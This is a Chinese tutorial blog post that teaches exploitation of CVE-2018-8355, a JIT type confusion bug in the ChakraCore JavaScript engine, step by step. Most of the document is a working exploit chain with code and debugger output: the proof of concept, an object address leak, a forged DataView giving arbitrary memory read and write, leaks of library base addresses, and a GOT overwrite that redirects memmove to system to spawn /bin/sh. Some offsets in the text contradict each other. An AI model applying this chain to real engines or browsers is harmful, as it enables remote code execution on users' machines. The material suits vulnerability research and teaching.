从CVE-2018-8355中零基础学Chakracore漏洞利用

By admin

2019-06-11 18:17:45

浏览量473

已赞0

学习v8后,对chakracore还是一无所知,恶补一波。虽然chakracore不久就会被淘汰了,但对于学习浏览器的漏洞利用而言,漏洞调试经验才是最宝贵的。本篇文章主要是从入门角度,通过调试CVE-2018-8355一步步学习chakracore引擎的漏洞利用。文章难免会出现理解错误,敬请斧正。

文中涉及到有漏洞的chakracore程序,连同上一篇的v8程序,我都编译好放在了github上,链接在文章末尾。有兴趣的童鞋,可以下载调试。调试环境:Ubuntu 18.04系统。

0×01 编译chakracore源码

chakracore的编译相比v8来说是很简单的,直接git clone编译即可。如果需要patch补丁的话,在下载源码后,直接patch命令加入源码,再编译:

git clone https://github.com/Microsoft/ChakraCore
cd ChakraCore
patch -p1 < ../diff.patch
./build.sh

如果需要切换到某个有问题的分支,以CVE-2018-8355为例,在github上找到该漏洞的commit,然后git切换到该分支,编译即可。


git clone https://github.com/Microsoft/ChakraCore
cd ChakraCore
git checkout 91bb6d68bfe0455cde08aaa5fbc3f2e4f6cc9d04 或 git reset --hard 91bb6d68bfe0455cd
./build.sh

0×02 chakracore的调试方式

这里主要讲源码调试,后续会专门总结非源码模式下主流浏览器在windbg/gdb中的通用调试技巧。

chakra默认没有显示对象地址和int 3断点的调试接口,因此需要在源码中定制。具体需要修改ChakraCore/bin/ch/WScriptJsrt.cpp和WScriptJsrt.cpp.h。

在WScriptJsrt.cpp文件起始位置增加:

#include <signal.h>

然后在WScriptJsrt.cpp中合适位置定义breakpoint和addressOf接口:

IfFalseGo(WScriptJsrt::InstallObjectsOnObject(global, "breakpoint", BreakpointCallback));
IfFalseGo(WScriptJsrt::InstallObjectsOnObject(global, "addressOf", addressOfCallback));
....
JsValueRef __stdcall WScriptJsrt::BreakpointCallback(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState)
{
   raise(SIGINT);
   return nullptr;
}

JsValueRef __stdcall WScriptJsrt::addressOfCallback(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState)
{
   for(unsigned int i=1; i < argumentCount; i++)
  {
       wprintf(_u("Addresss of the %2dth argument is 0x%llx\n"), i, (long long)arguments[i]);
  }
   fflush(stdout);
   return nullptr;
}

在ScriptJsrt.cpp.h中增加:

static JsValueRef CALLBACK BreakpointCallback(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState);
static JsValueRef CALLBACK addressOfCallback(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState);

编译ChakraCore即可。

然后在编写的js脚本中就可以利用下列语句,实现打印某个对象的地址或触发int3断点的效果:

let array1 = [1.1, 2.2, 3.3];
let array2 = [1.1, 2.2, 3.3];
addressOf(array1, array2);
breakpoint();

gdb调试该脚本:

pwndbg> set args poc.js
pwndbg> r
Starting program: /Release/ch poc.js
... ...
Addresss of the 1th argument is 0x7f02d8b51cb0
Addresss of the 2th argument is 0x7f02d8b51d20
... ...
Program received signal SIGINT
pwndbg>

现在就能够在gdb中打印对象的内存地址,并在需要的位置断了下来。这两个函数基本可以满足后续漏洞利用过程中的调试需求了。

0×03 对chakra类型混淆漏洞的理解与利用思路

首先需要学习的知识点是,chakra中的数组存在三种,分别为NativeIntArray、NativeFloatArray和VarArray。VarArray代表的是对象数组。比如:

let arr = [1.1, 1.1];

这里arr是NativeFloatArray,我们可以通过向数组中添加非Native元素,自动使其变为VarArray对象数组:

arr[0] = {}

NativeIntArray和NativeFloatArray数组转化成VarArray数组过程中,会将数组中的元素通过异或0xfffc000000000000转化为VarArray中的数据。也就是说VarArray会通过数组中元素的高位来判断数组中的元素是数据还是对象。

NativeIntArray和NativeFloatArray之间出现混淆一般不能带来安全问题,但是当这二者和VarArray混淆之后就会出现数据和对象无法区分的问题。先看一段简单的代码:

a[0] = 1.2;
xxxx;
a[0] = 2.3023e-320; // 0x1234的Float格式

这段代码在JIT优化后的表现形式是这样的:

mov a.segment.index 1.2
xxxx;
mov a.segment.index 2.3023e-320

如果在xxxx操作过程中,将NativeFloatArray的类型改变成VarArray,但JIT优化过程无法检测这种变化,那么在JIT优化期间,2.3023e-320就会仍旧被当做浮点数赋值给a[0]元素。但当程序离开JIT优化函数后,很明显此时a数组已经转换为对象数组了,因此再访问a[0],实际上访问的就是以0×1234作为内存地址的一个对象。而0×1234内存肯定不可访问,从而产生内存访问异常。

let a = [1.1, 2.2];
function opt() // JIT优化
{
   a[0] = 1.2;
   xxxx;
   a[0] = 2.3023e-320; // 0x1234的Float格式
}
print(a[0]);  //此时a[0]已经为一个对象了

因此,对JIT优化产生的类型混淆,最需要理解的本质是,在JIT优化函数过程中a[0]一直会被当做浮点数来处理,而程序离开JIT优化函数后,a[0]就会被JS引擎正常地认为是一个对象了。这一点需要特别特别特别好好理解一下。再次举例说明:

let a = [1.1, 2.2];
let obj = {}
let b = 0;
function opt() // JIT优化
{
   a[0] = 1.2;
   a[1] =obj; // 将a的类型改为对象数组而JIT优化无法察觉
   a[0] = 2.3023e-320; // 0x1234的Float格式
   b = a[1]; // 此时b存储的就是obj对象的内存地址了
   
}
print(a[1]);  //此时a[1]已经为obj对象了
print(b);  // 可以打印出obj对象的地址

我们将xxxx过程改为a[1] =obj,实际上数组a就会自动变成了对象数组。但JIT优化在有漏洞的情况下,没有检测出这个类型变化,仍旧将a作为浮点数组处理,后续就可以将a[1]即obj对象的内存地址赋值给b,也就是说我们可以泄露出对象obj的内存地址了。

另外还可以在JIT优化函数中更改a[1]指向的对象地址,比如a[1]=a[1]+0×58,此时a[1]这个对象的内存地址就指向了a[1]+0×58的位置。

为了实现数组的类型混淆,上述xxxx操作的主流思路有两种,一种是利用没有检测的回调函数来修改数组的类型,第二种是通过合理的函数来修改数组的类型。

思路1:利用没有检测的回调函数修改数组类型

可以在JavaScript中利用对象的回调函数设置数组类型:

let a = [1.1];
let b = [0];
function opt() // JIT优化
{
   a[0] = 1.2;
   b[0] = {valueOf: () =>{
       a[0] = {}; //将数组a转换成VarArray
       return 0;
  }};
   a[0] = 2.3023e-320;
   // 这时候对a[0]的读写JIT都是以浮点数来处理的
}
opt();
// JIT优化后再打印a[0],实际上访问的是以2.3023e-320为地址的对象
print(a[0]);

由于数组b中的元素只能为NativeInt即Uint32类型,因此再将一个对象赋值给b[0]时,JIT会对这个对象进行一个转换。转换过程中调用了ToInt32这个函数,而这个函数会触发ValueOf回调,从而在回调中将a[0]赋值为一个对象,即将数组a的NativeFloatArray类型自动转换成了VarArray。但JIT优化过程并没能够检测出这一类型改变,误认为a仍旧是NativeFloatArray类型,继续将其元素当做浮点数进行赋值。

但当js代码跳出JIT优化函数后,js引擎能够正确判断出数组a的类型变为了VarArray,因此这时候a[0]代表的就是一个对象了。

也就是说在JIT优化期间,如果我们将一个对象赋值给a[0],JIT优化函数内部是能够以Float读取到这个对象的地址的:

let a = [1.1, 2.2];
let b = [0];
let fake_object = {99.99};
function opt() // JIT优化
{
   a[0] = 1.2;
   b[0] = {valueOf: () =>{
       a[1] = fake_object;
       return 0;
  }};
   a[0] = 2.3023e-320;
   // 此时能够以浮点数操作a[1],即fake_object的地址
}
opt();
// JIT优化后再打印a[1],实际上访问的是fake_object对象
print(a[1]);

思路2:通过合理的函数调用修改数组类型

示例:

function opt(arr, proto)  
{
arr[0] = 1.1;
let tmp = {__proto__:proto};
arr[0] = 2.3023e-320;
}
let arr = [1.1, 2.2, 3.3];
for(let i = 0; i < 10000; i++){  // JIT优化
opt(arr, {});
}
opt(arr, arr);

上述思路是,在最后一次opt调用时,将array当做proto赋值给了proto属性链。而在对属性链赋值时,如果赋值参数为Native数组的话,赋值过程中,会自动调用ToVarArray函数,将其转换为VarArray。因此上述arr数组在最后一次opt函数调用时,就没自动转换为了VarArray对象数组。但在JIT优化过程中,chakra在实现上并没有预测到上述属性链的调用会改变数组属性,只是单纯地将arr当做NativeFloatArray,从而出现了类型混淆。

实例:CVE-2018-8355 localeCompare引起的类型混淆

首先看PoC:

function opt(arr, s) {
   arr[0] = 1.1;

   if (s !== null) {
       let tmp = 'a'.localeCompare(s);
  }

   arr[0] = 2.3023e-320;
}

function main() {
   let arr = [1.1];
// JIT优化
   for (let i = 0; i < 10000; i++) {
       'a'.localeCompare('x', []);  // Optimize the JavaScript localeCompare

       opt(arr, null);  // for profiling all instructions in opt.

       try {
           opt(arr, {toString: () => {
               throw 1;  // Don't profile "if (locales === undefined && options === undefined) {"
          }});
      } catch (e) {
      }
  }
// 触发漏洞
   opt(arr, {toString: () => {
       // Called twice
       arr[0] = {};
  }});

   print(arr);
}

main();

如果能够理解前面类型混淆常见思路的话,可以看出,在JIT优化时,先向opt优化传递一个null对象,此时opt不会去执行localeCompare语句,而是直接给arr[0]赋值为一个浮点数;然后向opt传递一个{}空对象,对象定义了一个toString回调函数,这个回调函数会在localeCompare执行期间触发,从而抛出throw 1异常,也就没有执行到后续的arr[0]赋值操作。

也就是说,整个JIT优化期间,chakra始终会把arr作为一个浮点数数组来对待。因此JIT就错误地没有增加对数组a的类型进行检测的代码。

而在后面漏洞触发时,在toString回调函数中,把arr[0]赋值为一个{}对象,也就是改变了数组a的类型为对象数组,但JIT优化代码中并没有检测数组a类型的语句,而是仍旧将其作为浮点数数组进行处理,从而引发了类型混淆。

在了解了类型混淆之后,我们来探讨一下类型混淆如何利用。

0×04 类型混淆的利用思路:伪造DataView

之前讲v8越界读写漏洞的利用时,对利用过程可能描述的不太清楚。这里首先描述一下浏览器漏洞触发之后的常规利用流程。

我们这里逆推一下利用过程。

假设我们想对一个浏览器漏洞实现利用,最容易想到的就是,如果能够通过漏洞实现任意地址读写,只要我们利用这个任意地址读写漏洞,想办法泄露libc基地址,然后修改free_hook或malloc_hook为system地址,就能实现利用了。

再者,如果我们能够利用任意地址读写,将自己写的shellcode写入到一个可写可执行的内存地址,并且能够泄露出这个内存地址,只要将系统内某个js对象结构中的函数指针修改为shellcode的内存地址,也能够实现利用。

可以看出,上述两种思路能够实现利用的前提是,我们需要通过漏洞构造出一个任意地址读写原语。

在v8中,如果我们拥有一个越界读写漏洞,可以通过越界读泄露FloatArray和ObjectArray的Map类型。然后通过越界写,实现类型混淆:将FloatArray的类型修改为ObjectArray的Map,这样就能通过FloatArray读取到某个对象的地址;通过越界写,将ObjectArray的类型修改为FloatArray的Map,这样就能通过ObjectArray强制将一个浮点数地址转换成一个JS对象,这样就实现了一套AddressOf和fakeObject原语。

实现AddressOf和fakeObject原语后,就可以通过AddressOf读取到一个js数组元素的具体内存地址,并将这个内存地址伪造成一个js对象,然后我们就可以通过布局,将这个数组的元素伪造成一个FloatArray的对象结构。伪造的对象结构中的elements指针指向我们需要修改的内存地址,然后通过fake_object[0]就可以访问到这块内存地址了,从而实现了任意地址读写的效果。

具体详细细节,请参考上一篇v8漏洞利用文章。

那在chakra中怎么利用呢?通过对chakra类型混淆漏洞的理解,我们可以得出如下结论:

在JIT优化期间,最后一次触发漏洞的优化函数内部,是可以泄露出赋值给NativeFloatArray元素的对象的地址的。

最后一次漏洞触发时,NativeFloatArray元素仍旧被当做浮点数处理,但JIT优化后,JS引擎就能正确识别这个元素是个对象了。也就是说,我们可以指定一块内存地址作为一个对象的内存。

以localeCompare类型混淆为例子,我们通过改进PoC并结合上述两个结论,可以泄露出某个对象的内存地址,请看详细代码:

// 第一部分:浮点数和64位无符号整数转换函数
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);

// 64位无符号整数转为浮点数
function i2f(x) {
   u32[0] = x % 0x100000000;
   u32[1] = (x - (x % 0x100000000)) / 0x100000000;
   return f64[0];
}
// 浮点数转换为64位无符号整数
function f2i(x) {
   f64[0] = x;
   return u32[0] + 0x100000000 * u32[1];
}
// 64位无符号整数转为16进制字节串
function hex(x) {
   return `0x${x.toString(16)}`
}

//第二部分:触发漏洞泄露指定对象的内存地址
var fake_object_array = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0];
var fake_object_array_addr = 0x0;  // 存储array的地址

function opt(arr, s) {
   arr[0] = 1.1;

   if (s !== null) {
       let tmp = 'a'.localeCompare(s);
  }

   arr[0] = 2.3023e-320;
   fake_object_array_addr = f2i(arr[1]);  // 第二步:这里可以以浮点数读取到a[1]传递到函数外部
   arr[1] = i2f(fake_object_array_addr + 0x58);  // 第三步:将arr[1]指向fake_object_array存储元素的内存处
}


var arr = [1.1, 2.2];
// JIT 优化
for(let i=0; i < 10000; i++)
{
   'a'.localeCompare('x', []);
   opt(arr, null);
   try{
       opt(arr, {toString: () => {
           throw 1;
      }});
  }catch(e){
  }
}

// 触发漏洞
try{
   opt(arr, {toString: () => {
       arr[1] = fake_object_array;  // 第一步:触发漏洞时,将fake_object_array赋值给a[1]
  }});
}catch(e){
}

//addressOf(fake_object_array);
print("leak fake_object_array address: " + hex(fake_object_array_addr));
// 第四步:此时操作arr[1]实际上操作的是一个对象
print(arr[1]);

备注:在上面js脚本中第一部分,参考网上大神的浏览器漏洞利用的框架,自定义了一套64位int和float浮点数的转换函数。

从上面代码可以看出,漏洞触发时,在第一步,我们将a[1]赋值为fake_object_array,这时候会将数组arr的类型自动转换为了VarArray。但JIT优化引擎因为漏洞的存在,无法检测到这个变化。因此在第二步时,仍旧以浮点数方式来读取arr[1],即读取的是fake_object_array对象的地址,也就是说,我们可以在优化结束后,泄露出fake_object_array对象的内存地址。

另外,最关键的第三步出现了,触发漏洞时的JIT优化函数内部,理论上我们即可以读取arr[1],同时也可以修改arr[1]的内容。也就是说,我们能够让arr[1]指向任意内存位置。

那结合v8中的漏洞利用思路,如果让arr[1]指向一个我们可控的数组元素内容的内存,然后通过布局数组元素伪造出一个FloatArray啥的,那不就能实现任意地址读写了吗?

思路完全正确!

我们看一下上述脚本,发现fake_object_array对象就是我们自己构造的:

var fake_object_array = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0];
var fake_object_array_addr = 0x0;  // 存储array的地址
... ....

通过漏洞,我们获取到了fake_object_array对象的内存地址,那很容易我们能够得到对象结构中存储[1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0]这些元素的内存地址。

这里为了便于新入门的童鞋理解,不增加知识负担,可以先记住,在fake_object_array对象地址+0×58的位置,存储的就是这些元素的内容。具体可以从参考文章中找到详细解释。当然,说句废话,对一个数组对象结构来说,肯定是对象地址向后偏移的某个地方存储着元素内容。-_-

通过上述混淆漏洞,我们能够将上述数组元素内容转换一个对象,并且在优化后能够以一个对象的方式操控它,也就是上述代码的第四步。

到这里就好办了,只要将上述数组布局为一个FloatArray对象,然后用arr[1]进行访问,我们就能实现任意地址读写了。

看过上一篇v8文章的童鞋会发现,FloatArray在操作高地址时有限制,因此这里我们不再伪造FloatArray对象,而是伪造一个更加通用的DataView对象来实现任意地址读写。

1. 伪造DataView对象结构

在Chakra中,一个DataView对象的结构主要包含8个成员(64位下每个成员都是8个字节,共0×40个字节):

DataView对象结构备注
[0] vtable指针虚表指针
[1] TypeObject指针用于标识对象的类型等基本信息
[2] Dynamic Object Content第三、四项是继承自Dynamic Object中的内容
[3] Dynamic Object Content
[4] buffer size一个比较重要的域,表示buffer的size
[5] ArrayBuffer Object指针DataView对应的ArrayBuffer Object的指针
[6] byteoffset
[7] BufferDataView操作的目的缓冲区地址,把这个值指向我们想要操作的地址就可以进行读写操作

理论上,我们只要将每一项伪造出来,赋值给前面的数组内容就可以实现伪造了。下面我们来对每个元素进行伪造(4.1-4.5的内容主要参考文章[2],并针对新版本变化对某些偏移进行了修正):

DataView的第一项是对象的vtable虚表指针,在这个漏洞中,目前我们还没有办法去获取到一个合法的vtable地址,所以只好填零留到后面处理。

DataView的第二项是TypeObject的指针,对于Chakra中所有的Dynamic Object都保存一个TypeObject的指针用于标识对象类型等基本信息,称为运行时类型。这里因为不涉及控制数据访问的域,也先填零处理。

DataView的第三、四项是继承自Dynamic Object中的内容。在Chakra中Dynamic Object与Static Object对立,只有简单的String、Boolean等Object是static的,其余的基本都是Dynamic Object。因为Dynamic Object的值同样不涉及控制数据访问的域,这里还是对三、四项填零处理。

下面第五项是一个比较重要的域,表示buffer的size,需要填一个合理的Buffer大小。

第六项是指向DataView对应的ArrayBuffer Object的指针,但是使用DataView访问数据时不会使用ArrayBuffer中的地址,而是优先使用第八项buffer指针的地址。所以这里也填零,之后再处理。

第七项是byteoffset,这个值在利用中用不到,同样填零。

第八项是DataView操作的目的缓冲区地址,把这个值指向我们想要操作的地址就可以进行读写操作。

// 重新构造fake DataView
fake_object_array[0] = i2f(0);  // vtable
fake_object_array[1] = i2f(0); //TypeObject
fake_object_array[2] = i2f(0);  // TypeId
fake_object_array[3] = i2f(0); // JavascriptLibrary
fake_object_array[4] = i2f(0x200); // buffer size
fake_object_array[5] = i2f(0); // ArrayBuffer ArrayBuffer->isDetached=0  
fake_object_array[6] = i2f(0);
fake_object_array[7] = i2f(0x4141414142424242); // 要读写的内存地址

在完成伪造DataView之后,我们需要做的是尝试使用这个DataView进行读写内存,比如:

arr[1].getUint32(0, true);

但是很不幸,由于之前DataView对象结构中很多数据都填了零,在使用DataView对象时,可能会因为校验不通过而发生各种问题,这里就需要通过调试一一bypass掉这些问题。

2. 虚表指针的绕过

首先第一个问题,vtable指针无法获知,但如果需要使用dataview的getUint32、setUint32等函数,通常需要通过虚表指针定位到这些函数地址。因此需要找到一种不通过虚表指针实现函数调用的方法。

下面给出不访问虚表调用对象内部函数的方法,即使用Function.prototype.call方法:

DataView.prototype.getInt32.call(this, args);

第一个为this指针。即:

DataView.prototype.getFloat64.call(arr[1], 0);

就可以实现arr[1].getFloat64(0)的调用效果。这个绕过方式的本质就是,借助了其它DataView的虚表找到需要的函数,然后使用call方式进行调用。

3. TypeId的绕过

虽然虚表的问题已经解决,但此时读写还是不能成功,程序还是会发生crash。因为虽然伪造的fake DataView中的一些域与控制读写无关,但是代码中可能还是存在访问这些域的地方,比如我们前面把一些指针域填零,当代码中存在对这些指针的访问时就会发生crash。

首先遇到的第一个问题是:在取出DataView的数据前,首先会判断对象的类型是否是DataView

const TypeId typeId = recyclableObject->GetTypeId();
if(typeId == CONST_TYPE_DATAVIEW)
{
	return this->data;
}

程序会利用TypeObject指针取出TypeId,然后判断TypeId是否是DataView类型(DataView的类型在当前版本为58,即判断typeId是否等于58)。这里需要注意的是,TypeId存储在TypeObject指针指向的结构中的第一个成员位置,即TypeObject[0]位置。

type_object_struct.png

由于TypeObject指针用于表示对象的类型等基本信息,而前面我们直接将其置为零,所以会导致空指针访问。因此需要提前为TypeObject指针寻找一个合适的值。

那怎么办呢?

在JIT优化产生类型混淆后,目前我们手中拥有的是伪造的fake Dataview对象的地址,但是合法dataview的TypeObject指针我们是没有的。因此,我们可以构造一个假的TypeObject结构,第一个成员只要为56,就可以顺利绕过检测。

这里比较巧妙的解法是,由于我们知道fake DataView的地址,因此可以在fakeDataView中用不到的空白区域存储上DataView的类型58,然后在DataView的TypeObject指针域填写上这个存储DataView类型的地址即可。

上面DataView对象结构中的第三项用不到,可以在上面布置一个fake TypeId,然后把第二项的TypeObject指针指向第三项即可。

// 第二项 TypeObject 指针
fake_object_array[1] = fake_object_array_addr + 0x58 + 0x10;
// 第三项 fake typeId
fake_object_array[2] = i2f(58);

备注:新版本DataView的TypeId为58,旧版本为56,这一点需要注意。

4. 保证JavascriptLibrary的合法

程序在使用DataView过程中还存在如下访问:

dataview->type->JavascriptLibrary

因此我们需要保证TypeObject对象中的JavaScriptLibrary能够合法地被访问到,而上面在解决TypeId的过程中,根据TypeObject对象结构,可以发现TypeId后面这个成员就是JavascriptLibrary,因此在此处,即fake DataView的第四项,填入一个合法的内存地址即可。

由于我们知道了堆中fake DataView的对象地址,对这一块区域的访问肯定是合法的,因此可以大致将第四项设置为附近的一个堆地址即可:

// 第四项 JavascriptLibrary
fake_object[3] = fake_object_array_addr -0x100;

5. ArrayBuffer指针

程序还会对fake DataView的第六项成员ArrayBuffer指针进行访问,并且会检测ArrayBuffer的isDetached域。如果isDetached为1,说明DataView不可用;如果isDetached为0,说明DataView可用。因此,我们必须保证isDetached为0。另外,幸运的是,除了isDetached,程序不会再检测ArrayBuffer的其它域。

 0x00007fcf5fa1691e <+382>:   mov    rcx,QWORD PTR [rbx+0x28]  // ArrayBuffer
=> 0x00007fcf5fa16922 <+386>: cmp   BYTE PTR [rcx+0x20],0x0   // isDetached

可以发现,isDetached位于ArrayBuffer的0×20位置。

因此只需要在fakeDataView地址附近,找一块为0的内存,作为ArrayBuffer->isdetached的内存,然后将该地址-0×20的内存地址写入到fake DataView的第六项作为ArrayBuffer指针即可。

备注:在新版chakra中,isdetached的偏移为0×20,而旧版本中的偏移为0x3c。

到此我们再使用fake DataView就可以保证程序不发生crash,能够正常使用DataView操作数据了。

总结一下前面的bypass:

使用call调用getInt32或setInt32等函数绕过虚表

将DataView的第三项写入TypeId=56,第二项指向第三项的内存地址fake_object_array+0×58+0×10

保证type->Javascriptlibrary指针合法,即第四项写入一个fake_object_array附近的地址

保证ArrayBuffer指针指向的isDetached=0,即保证ArrayBuffer指针填入的地址+0x3C位置的内存为0

在fake DataView最后一项填上要读写的内存地址

利用DataView.prototype.getFloat64.call(arr[1], 0, true)读写即可

最后实际实现的构造代码如下:

// 重新构造fake DataView
fake_object_array[0] = i2f(0);  // vtable
fake_object_array[1] = i2f(f2i(fake_object_array_addr[0]) + 0x68); //TypeObject
fake_object_array[2] = i2f(58);  // TypeId
fake_object_array[3] = i2f(f2i(fake_object_array_addr[0]) - 0x100); // JavascriptLibrary
fake_object_array[4] = i2f(0x10); // buffer size
fake_object_array[5] = i2f(f2i(fake_object_array_addr[0]) + 0x30); // ArrayBuffer ArrayBuffer->isDetached=0
fake_object_array[6] = i2f(0);
fake_object_array[7] = i2f(0x41414141); // addr to read or write
// 最后只要修改fake_object_array[7]为想要读写的内存地址就可以使用DataView的函数访问了
DataView.prototype.getInt32.call(arr[1], 0);

6. 补充:伪造DataView时的调试技巧

在伪造DataView过程中,有可能新版本DataView对象结构的某些成员偏移有所不同,比如新版本的isDetached位于ArrayBuffer结构中的0×20位置,而旧版本中却位于0x3c的位置。刚开始一直参考文章[2]中旧版本的偏移0x3c进行调试,导致chakra一直崩溃,通不过检测。这时候就需要我们在遇到问题时,根据具体情况进行调试来byapss掉。

我们可以提前将所有不确定的域都填写为特定容易识别的数值,然后看程序崩溃时的场景,从而确定当前版本下的具体偏移。比如目前还不确定isDetached的偏移,我们可以将第六项ArrayBuffer指针设置为特定值0×1234,然后gdb调试chakra:

fake_object_array[0] = i2f(0);  // vtable
fake_object_array[1] = i2f(f2i(fake_object_array_addr[0]) + 0x68); //TypeObject
fake_object_array[2] = i2f(58);  // TypeId
fake_object_array[3] = i2f(f2i(fake_object_array_addr[0]) - 0x100); // JavascriptLibrary

fake_object_array[4] = i2f(0x10); // buffer size

fake_object_array[5] = i2f(f2i(0x1234); // 不确定isDetached的偏移
fake_object_array[6] = i2f(0);

fake_object_array[7] = i2f(0x41414141); // addr to read or write

DataView.prototype.getInt32.call(arr[1], 0);

你会发现程序崩溃了,崩溃的场景为:

pwndbg> r
Thread 1 "ch" received signal SIGSEGV, Segmentation fault.
RAX 0x0
RBX 0x7fcf6388c198 ◂— 0
RCX 0x1234
RDX 0x1000000000000
.... ....

0x7fcf5fa16922   cmp   byte ptr [rcx + 0x20], 0 // 在此处发生内存访问异常
  0x7fcf5fa16926    jne    0x7fcf5fa1698d
  ↓
  0x7fcf5fa1698d    lea    rdx, [rip + 0x341066]
... ...
Program received signal SIGSEGV (fault address 0x1254)
pwndbg> disassemble 0x7fcf5fa16922
  0x00007fcf5fa1691e <+382>: mov    rcx,QWORD PTR [rbx+0x28]
=> 0x00007fcf5fa16922 <+386>: cmp   BYTE PTR [rcx+0x20],0x0

可以看到rcx即我们设置的ArrayBuffer指针,程序会从[rcx + 0x20]取数值与0进行比较,因此根据前期积累的知识,就可以确定目前版本的isDetached偏移为0×20。

后续只需要在fake_object_array_addr附近,重新寻找数值0所在的内存地址,然后减去0×20,这样就能得到一个合适的ArrayBuffer指针了。

希望大家能理解这种调试思路。

0×06 构造任意地址读写原语

经过上面的伪造,后续就很容易实现任意地址读写的原语了。只要我们将fake_object_array[7]修改为我们需要访问的内存地址,就可以使用DataView的get系列或set系列函数进行内存读写了。实现的读写原语具体如下:

function read64(addr)
{
   fake_object_array[7] = i2f(addr);
   let data = DataView.prototype.getFloat64.call(arr[1], 0, true);
   data = f2i(data);
   print("[*] read data from " + hex(addr) + ":" + hex(data));
   return data;
}

function write64(addr, data)
{
   fake_object_array[7] = i2f(addr);
   DataView.prototype.setFloat64.call(arr[1], 0, i2f(data), true);
   print("[*] write data to " + hex(addr) + ":" + hex(data));
}

let test_arr = fake_object_array_addr + 0x58 + 0x20;
write64(test_arr, 0x1234);  //测试读写buffer size
read64(test_arr);

在gdb中调试可以得到如下输出:

[*] write data to 0x7fa74740c1b8:0x1234
[*] read data from 0x7fa74740c1b8:0x1234

0×07 任意读写后的漏洞利用

在获得任意地址读写能力后,后面的利用就很好理解了。按照常规套路,泄露libc地址,计算得到free_hook地址和system地址,修改free_hook为system地址,即可触发执行system函数;或者利用类型混淆漏洞,泄露webassembly内存页地址,将shellcode写在wasm内存页上,然后调用wasm接口即可。

作为对上一篇v8漏洞利用的补充,下面主要讲解一下三种有趣的利用思路。PS:目前入门学习阶段暂不考虑需要绕过CFG等高级利用技巧。

1. 泄露libc劫持GOT表

这一种思路最为常见。我们可以读取对象结构中的虚表函数指针,泄露libChakraCore.so地址,然后通过libChakraCore.so中的GOT表泄露libc.so的地址,最终计算得到system的地址。

在常规堆利用中,通常是修改free_hook等函数为system函数从而触发调用。但大家有没有想过一个问题,为何不直接修改程序中free函数的GOT表地址为system地址,反而需要绕一圈去修改free_hook呢?这是因为常规的堆利用中,我们只能泄露出libc的基地址,而无法泄露程序的基地址(除非基地址固定),所以无法修改GOT表。

但在chakracore的利用中,我们可以泄露libChakraCore.so的基地址,因此就可以拿到它调用libc各种函数的GOT表地址,泄露出libc地址后,我们就能将libChakraCore.so中某些函数的GOT表地址修改为system地址来实现调用了。理论上v8中也可以这样做。

因为之前v8漏洞利用期间free函数的不稳定性,这里我们覆盖一个libChakraCore.so中只有我们手动调用js语句才能触发的GOT函数,比如memove@got.plt在js语句Uint8Array.set(new Uint8Array())时才可以被调用。

具体步骤如下:

通过vtable泄露libChakraCore.so

通过libChakraCore.so中的got表泄露libc基地址,计算system地址

将libChakraCore.so中的GOT表memmove@got.plt修改为system地址

调用Uint8Array.set()函数触发memmove函数调用,触发system

使用memmove函数的好处在于,它的第一个参数就是Uint8Array的内存内容,因此可以将Uint8Array内存赋值为我们想要执行的命令,最后调用memmove(command)实际上执行的就是system(command)。

首先通过之前我们得到的fake_object_array对象地址,可以知道+0偏移的地方就是vtable指针,vtable中存储的就是libChakraCore.so中函数地址,我们在gdb中查看一下:

pwndbg> r
leak fake_object_array address: 0x7f5e53aac140
Program received signal SIGINT
pwndbg> telescope 0x7f5e53aac140
00:0000│   0x7f5e53aac140 —▸ 0x7f5e503a21c0 —▸ 0x7f5e4f755960 (Js:....<-- 虚表vtable指针
01:0008│   0x7f5e53aac148 —▸ 0x7f5e53ac3ec0 ◂— 0x20 /* ' ' */
02:0010│   0x7f5e53aac150 ◂— 0
03:0018│   0x7f5e53aac158 ◂— 5
04:0020│   0x7f5e53aac160 ◂— 8
05:0028│   0x7f5e53aac168 —▸ 0x7f5e53aac180 ◂— add   byte p...
... ↓
07:0038│   0x7f5e53aac178 —▸ 0x7f5e53a491a0 —▸.....
pwndbg> telescope 0x7f5e503a21c0 <-- 虚表内容
00:0000│   0x7f5e503a21c0 —▸ 0x7f5e4f755960 (Js::RecyclableObject::Finalize(bool)) ◂— ret    
01:0008│   0x7f5e503a21c8 —▸ 0x7f5e4f755970 (Js::RecyclableObject::Dispose(bool)) ◂— ret    
02:0010│   0x7f5e503a21d0 —▸ 0x7f5e4f755980 (FinalizableObject::Mark(void*))
... ...
pwndbg> vmmap 0x7f5e4f755960   <-- 查看虚表中的第一个函数0x7f5e4f755960
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  0x7f5e4f5ca000     0x7f5e50171000 r-xp   ba7000 0     ..../Release/libChakraCore.so

通过上述调试可以发现,虚表中的第一个函数指针就是libChakraCore.so的函数地址,因此很容易得到libChakraCore.so的基地址。具体实现的JavaScript代码如下:

// 第一步:泄露libc地址
let vtable_addr = read64(fake_object_array_addr);
let chakraso_func_addr = read64(vtable_addr);
let chakraso_base_addr = chakraso_func_addr - 0x18B960;
print("[*] leak chakra.so base addr:" + hex(chakraso_base_addr));

let chakraso_got_malloc_addr = chakraso_base_addr + 0xE216E0;
let libc_malloc_addr = read64(chakraso_got_malloc_addr);
let libc_basse_addr = libc_malloc_addr - 0x97070;
print("[*] leak libc base addr:" + hex(libc_basse_addr));

// 第二步:计算system地址,修改memmove GOT表地址
let libc_system_addr = libc_basse_addr + 0x4F440;
let chakraso_got_memmove_addr = chakraso_base_addr + 0xE21108;
write64(chakraso_got_memmove_addr, libc_system_addr);

// 第三步:调用Uint8Array.set触发system调用
function get_shell()
{
   var command = "/bin/sh\0";
   var tmp_arr = [];
   for(var i = 0; i < command.length; i++)
  {
       tmp_arr.push(command.charCodeAt(i));
  }
   var trigger = new Uint8Array(tmp_arr);
   trigger.set(new Uint8Array(5));
}
get_shell();

在gdb中调试结果如下:

kali$ gdb ./ch
pwndbg> set args exp.js
pwndbg> r
Starting program: ch exp.js
... ...
leak fake_object_array address: 0x7efca747c140
[*] read data from 0x7efca747c140:0x7efca3d791c0
